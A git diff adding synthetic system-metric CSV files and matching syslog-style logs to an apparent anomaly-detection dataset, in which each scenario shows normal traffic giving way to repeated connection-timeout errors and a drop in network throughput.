+2025-07-10T14:06:40Z,11.21,43.84,23.41,0.0,0.0 +2025-07-10T14:06:45Z,12.8,35.34,23.0,0.0,0.0 +2025-07-10T14:06:50Z,13.83,39.15,21.66,0.0,0.0 +2025-07-10T14:06:55Z,10.27,42.59,24.95,0.0,0.0 +2025-07-10T14:07:00Z,10.54,37.88,24.16,0.0,0.0 +2025-07-10T14:07:05Z,14.6,38.8,26.43,0.0,0.0 +2025-07-10T14:07:10Z,14.08,35.31,24.24,0.0,0.0 +2025-07-10T14:07:15Z,11.48,35.55,22.77,0.0,0.0 +2025-07-10T14:07:20Z,11.64,41.08,24.36,0.0,0.0 +2025-07-10T14:07:25Z,12.84,41.34,22.06,0.0,0.0 diff --git a/anom_dataset/scenario_10/anom_10_27.log b/anom_dataset/scenario_10/anom_10_27.log new file mode 100644 index 0000000000000000000000000000000000000000..e112a6c0c57ecb320400057c40e0ee18f106ffbd --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_27.log @@ -0,0 +1,91 @@ +Jul 10 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 10 14:00:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:00:15 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:00:25 systemd[1]: Starting daily clean up activities... +Jul 10 14:00:30 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:00:45 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:00:50 systemd[1]: Starting daily clean up activities... +Jul 10 14:01:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:01:15 systemd[1]: Starting daily clean up activities... +Jul 10 14:01:15 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:01:30 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:01:40 systemd[1]: Starting daily clean up activities... +Jul 10 14:01:45 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:02:00 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:02:05 systemd[1]: Starting daily clean up activities... +Jul 10 14:02:15 web-app[3456]: GET /api/v1/data status=200 OK +Jul 10 14:02:30 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:02:35 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:02:40 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:02:45 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:02:50 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:02:55 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:03:00 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:05 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:10 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:15 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:03:20 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:25 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:30 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:35 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:03:40 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:45 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:50 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:03:55 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:04:00 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:05 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:10 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:15 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:04:20 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:25 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:30 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:35 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:04:40 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:45 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:50 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:04:55 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:05:00 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:05 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:10 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:15 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:05:20 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:25 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:30 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:35 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:05:40 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:45 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:50 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:05:55 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:06:00 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:05 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:10 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:15 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:06:20 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:25 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:30 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:35 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:06:40 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:45 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:50 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:06:55 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:07:00 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:05 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:10 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:15 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 14:07:20 web-app[3456]: ERROR Connect to database failed: Connection timed out +Jul 10 14:07:25 web-app[3456]: ERROR Connect to database failed: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_28.csv b/anom_dataset/scenario_10/anom_10_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..2cbbaba38167e3fbb79a4950f320ef893b604526 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.9866286890852,36.10928302799962,27.388704049832356,1.9080729959987863,1.255108422061602 +2025-07-02T12:00:05Z,22.73426641285244,39.71343205465816,23.701050006085886,1.885237678609689,1.569458792352029 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+2025-07-02T12:06:50Z,15.149832346224962,43.83336037608137,21.477720653880805,0.023554336232617247,0.09739939638086437 +2025-07-02T12:06:55Z,18.400972871167028,44.67364200872803,26.877426514436674,0.027213323827810235,0.09473688739461766 +2025-07-02T12:07:00Z,16.052041490767635,43.04227118731696,22.699999459780685,0.050961417861147155,0.039615775915400324 +2025-07-02T12:07:05Z,20.983948622191676,39.667587560393066,29.249873282583877,0.027901614713692704,0.011570240741776006 +2025-07-02T12:07:10Z,23.620057313509978,41.445402101849496,21.33595743005096,0.06051053317282656,0.07917697880311883 +2025-07-02T12:07:15Z,19.470745586810725,42.409765529251715,25.310557153322517,0.04848949220820689,0.0815525958284143 +2025-07-02T12:07:20Z,17.373322784209385,43.51650090569866,23.705144375986784,0.07952387504967312,0.06629614943109605 +2025-07-02T12:07:25Z,16.57477889589543,39.08677217507327,24.72536198013556,0.044150867985098985,0.008147724128436186 diff --git a/anom_dataset/scenario_10/anom_10_28.log b/anom_dataset/scenario_10/anom_10_28.log new file mode 100644 index 0000000000000000000000000000000000000000..6e8c7272cb5c8635e7fc60c7693b055036a69d75 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_28.log @@ -0,0 +1,38 @@ +Jul 02 12:00:05 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:00:25 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:00:45 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:00:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:01:05 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:01:25 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:01:35 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:02:30 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:02:35 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:02:45 webapp-prod[5678]: GET /api/v1/data status=200 OK +Jul 02 12:03:01 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:03:03 kubelet[2345]: INFO Liveness probe succeeded for pod webapp-prod-xyz +Jul 02 12:03:04 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:03:36 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:03:53 kubelet[2345]: INFO Liveness probe succeeded for pod webapp-prod-xyz +Jul 02 12:03:58 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:04:07 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:04:13 kubelet[2345]: INFO Liveness probe succeeded for pod webapp-prod-xyz +Jul 02 12:04:32 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:04:36 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:04:42 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:04:43 kubelet[2345]: INFO Liveness probe succeeded for pod webapp-prod-xyz +Jul 02 12:04:46 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:03 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:06 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:16 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:28 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:43 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:05:47 kubelet[2345]: INFO Liveness probe succeeded for pod webapp-prod-xyz +Jul 02 12:06:02 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:06:11 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:06:26 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:06:48 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:06:56 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out +Jul 02 12:07:27 api-gateway[3456]: ERROR Failed to connect to webapp-prod: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_3.csv b/anom_dataset/scenario_10/anom_10_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..a4326d561267bd2084cd4281834662f3a0b7443f --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T13:00:00Z,17.19,38.22,27.35,0.8,1.64 +2025-08-15T13:00:05Z,16.72,38.52,35.74,0.37,1.44 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+2025-08-15T13:01:50Z,17.37,38.69,28.26,0.95,1.74 +2025-08-15T13:01:55Z,16.82,40.03,31.94,1.05,1.57 +2025-08-15T13:02:00Z,18.98,32.96,30.6,0.55,1.52 +2025-08-15T13:02:05Z,13.5,40.16,29.21,0.58,1.36 +2025-08-15T13:02:10Z,16.47,36.51,28.82,1.0,1.44 +2025-08-15T13:02:15Z,13.57,39.4,31.66,0.73,1.22 +2025-08-15T13:02:20Z,19.7,35.8,28.26,1.01,0.97 +2025-08-15T13:02:25Z,19.04,38.66,34.18,0.93,1.23 +2025-08-15T13:02:30Z,14.48,40.35,28.05,0.62,1.27 +2025-08-15T13:02:35Z,21.16,34.22,29.99,1.03,0.58 +2025-08-15T13:02:40Z,17.48,35.96,27.44,0.78,0.84 +2025-08-15T13:02:45Z,18.43,34.34,24.66,1.02,1.03 +2025-08-15T13:02:50Z,17.12,35.69,31.46,1.07,1.39 +2025-08-15T13:02:55Z,16.48,34.01,32.71,0.42,1.33 +2025-08-15T13:03:00Z,18.05,38.57,33.24,1.17,1.42 +2025-08-15T13:03:05Z,19.07,36.78,35.96,1.07,1.74 +2025-08-15T13:03:10Z,19.94,32.61,29.7,0.68,1.52 +2025-08-15T13:03:15Z,18.54,31.5,32.69,1.12,1.38 +2025-08-15T13:03:20Z,19.43,38.93,24.31,0.87,1.34 +2025-08-15T13:03:25Z,17.27,35.71,26.44,1.04,1.45 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+2025-08-15T13:06:50Z,18.45,37.19,33.7,0.06,0.04 +2025-08-15T13:06:55Z,16.83,35.31,26.22,0.01,0.06 +2025-08-15T13:07:00Z,20.5,36.54,25.95,0.06,0.08 +2025-08-15T13:07:05Z,18.76,37.26,31.92,0.02,0.12 +2025-08-15T13:07:10Z,17.23,42.55,36.73,0.06,0.11 +2025-08-15T13:07:15Z,17.21,36.51,25.71,0.05,0.1 +2025-08-15T13:07:20Z,17.95,38.45,23.78,0.05,0.12 +2025-08-15T13:07:25Z,17.49,36.26,30.59,0.08,0.08 diff --git a/anom_dataset/scenario_10/anom_10_3.log b/anom_dataset/scenario_10/anom_10_3.log new file mode 100644 index 0000000000000000000000000000000000000000..81b540954d8778dc3c2983a169a76d44ccf63862 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_3.log @@ -0,0 +1,34 @@ +Aug 15 13:00:34 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.35 +Aug 15 13:00:51 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.11 +Aug 15 13:01:03 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.20 +Aug 15 13:01:08 systemd[1]: Started Session 27 of user service-account. +Aug 15 13:01:16 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.14 +Aug 15 13:01:16 systemd[1]: Started Session 20 of user service-account. +Aug 15 13:01:23 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.28 +Aug 15 13:01:32 systemd[1]: Started Session 23 of user service-account. +Aug 15 13:02:34 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.48 +Aug 15 13:02:59 systemd[1]: Started Session 23 of user service-account. +Aug 15 13:03:10 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.22 +Aug 15 13:03:26 systemd[1]: Started Session 25 of user service-account. +Aug 15 13:03:30 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.48 +Aug 15 13:03:30 systemd[1]: Started Session 21 of user service-account. +Aug 15 13:03:40 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.38 +Aug 15 13:03:43 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.26 +Aug 15 13:03:58 CRON[23421]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:04:21 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:04:21 CRON[23919]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:04:31 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:04:40 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:04:50 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:05:02 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:05:02 CRON[23569]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:05:21 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:05:35 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:05:44 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:05:59 CRON[23442]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:06:06 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:06:26 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:06:26 CRON[23795]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:06:42 CRON[23975]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 13:07:12 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 13:07:17 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_4.csv b/anom_dataset/scenario_10/anom_10_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..228f60bfdeed4ef6ecd11b539b77664cfd6faeeb --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_4.csv @@ -0,0 +1,91 @@ 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+2025-08-15T14:06:35Z,18.41,40.95,26.48,0.02,0.04 +2025-08-15T14:06:40Z,18.47,37.21,38.9,0.04,0.06 +2025-08-15T14:06:45Z,14.53,36.59,29.48,0.02,0.05 +2025-08-15T14:06:50Z,19.36,32.69,21.87,0.03,0.08 +2025-08-15T14:06:55Z,18.55,35.94,34.43,0.03,0.07 +2025-08-15T14:07:00Z,21.22,31.46,30.89,0.08,0.1 +2025-08-15T14:07:05Z,19.48,34.36,45.32,0.03,0.05 +2025-08-15T14:07:10Z,18.78,36.72,29.79,0.07,0.05 +2025-08-15T14:07:15Z,16.38,35.88,27.1,0.04,0.09 +2025-08-15T14:07:20Z,18.35,39.58,33.01,0.07,0.09 +2025-08-15T14:07:25Z,15.36,36.76,40.14,0.04,0.1 diff --git a/anom_dataset/scenario_10/anom_10_4.log b/anom_dataset/scenario_10/anom_10_4.log new file mode 100644 index 0000000000000000000000000000000000000000..6b9c457bf136141130a1dfdd3c711c8043355bb4 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_4.log @@ -0,0 +1,40 @@ +Aug 15 14:00:13 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.39 +Aug 15 14:00:24 systemd[1]: Started Session 24 of user service-account. +Aug 15 14:00:40 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.35 +Aug 15 14:01:03 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.12 +Aug 15 14:01:27 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.20 +Aug 15 14:01:27 systemd[1]: Started Session 27 of user service-account. +Aug 15 14:01:37 systemd[1]: Started Session 30 of user service-account. +Aug 15 14:01:43 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.41 +Aug 15 14:01:59 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.46 +Aug 15 14:02:15 nginx[1123]: GET /api/v2/data HTTP/1.1 200 OK from 10.0.5.22 +Aug 15 14:02:20 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:02:20 CRON[23219]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:02:41 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:00 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:06 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:15 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:25 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:25 CRON[23016]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:03:49 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:57 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:03:57 CRON[23767]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:04:23 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:04:42 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:04:42 CRON[23355]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:05:01 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:21 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:27 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:34 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:34 CRON[23719]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:05:39 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:45 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:05:49 CRON[23572]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:06:08 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:06:14 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:06:24 CRON[23511]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:06:32 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:06:32 CRON[23034]: (root) CMD (/opt/scripts/healthcheck.sh) +Aug 15 14:07:07 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:07:18 apiserver[3100]: ERROR: Unable to connect to backend service on port 8080: Connection timed out +Aug 15 14:07:22 CRON[23418]: (root) CMD (/opt/scripts/healthcheck.sh) diff --git a/anom_dataset/scenario_10/anom_10_5.csv b/anom_dataset/scenario_10/anom_10_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..7301b73fb06b0c563d8458085cfa412905c2bc50 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-23T10:06:50Z,28.67,33.5,30.0,0.0,0.0 +2025-08-23T10:06:55Z,23.79,45.66,25.57,0.0,0.0 +2025-08-23T10:07:00Z,20.71,47.45,25.56,0.0,0.0 +2025-08-23T10:07:05Z,24.55,45.19,31.46,0.0,0.0 +2025-08-23T10:07:10Z,31.34,36.39,33.28,0.0,0.0 +2025-08-23T10:07:15Z,23.1,52.94,33.8,0.0,0.0 +2025-08-23T10:07:20Z,24.48,46.08,27.88,0.0,0.0 +2025-08-23T10:07:25Z,22.99,48.62,30.99,0.0,0.0 diff --git a/anom_dataset/scenario_10/anom_10_5.log b/anom_dataset/scenario_10/anom_10_5.log new file mode 100644 index 0000000000000000000000000000000000000000..411c51bac2b31b35958b2c69348cd2f8ce261159 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_5.log @@ -0,0 +1,33 @@ +Aug 23 10:00:00 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:00:15 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:00:25 CRON[1123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:00:30 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:00:45 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:01:00 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:01:15 systemd[1]: Started session 123 of user admin. +Aug 23 10:01:15 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:01:30 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:01:45 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:02:00 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:02:15 web-app[5432]: 192.168.1.10 - - "GET /api/data HTTP/1.1" 200 +Aug 23 10:02:30 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:02:40 firewall-daemon[1010]: INFO security policy reloaded. +Aug 23 10:02:50 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:03:10 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:03:20 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:03:30 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:03:50 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:04:10 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:04:10 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:04:30 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:04:50 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:05:00 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:05:10 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:05:30 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:05:50 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:05:50 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:06:10 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:06:30 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:06:40 kubelet[2345]: INFO routine sync completed for pod backend-processor +Aug 23 10:06:50 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 +Aug 23 10:07:10 payment-gateway[6789]: ERROR Connection timed out to upstream service api.provider.com:443 diff --git a/anom_dataset/scenario_10/anom_10_6.csv b/anom_dataset/scenario_10/anom_10_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..fd5cc62ac6c956d818e1df81f199fea3b170e12a --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_6.csv @@ -0,0 +1,91 @@ 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+2025-08-23T10:06:35Z,21.39,42.8,24.71,0.04,0.02 +2025-08-23T10:06:40Z,16.78,47.06,27.92,0.05,0.0 +2025-08-23T10:06:45Z,19.22,45.16,19.98,0.01,0.0 +2025-08-23T10:06:50Z,24.26,46.35,34.24,0.03,0.02 +2025-08-23T10:06:55Z,17.28,47.81,33.29,0.01,0.0 +2025-08-23T10:07:00Z,21.07,48.05,25.46,0.03,0.0 +2025-08-23T10:07:05Z,20.01,47.03,26.7,0.03,0.0 +2025-08-23T10:07:10Z,18.57,40.49,18.62,0.04,0.02 +2025-08-23T10:07:15Z,22.0,46.67,27.04,0.04,0.01 +2025-08-23T10:07:20Z,20.06,46.91,30.63,0.01,0.0 +2025-08-23T10:07:25Z,20.34,41.19,30.05,0.04,0.01 diff --git a/anom_dataset/scenario_10/anom_10_6.log 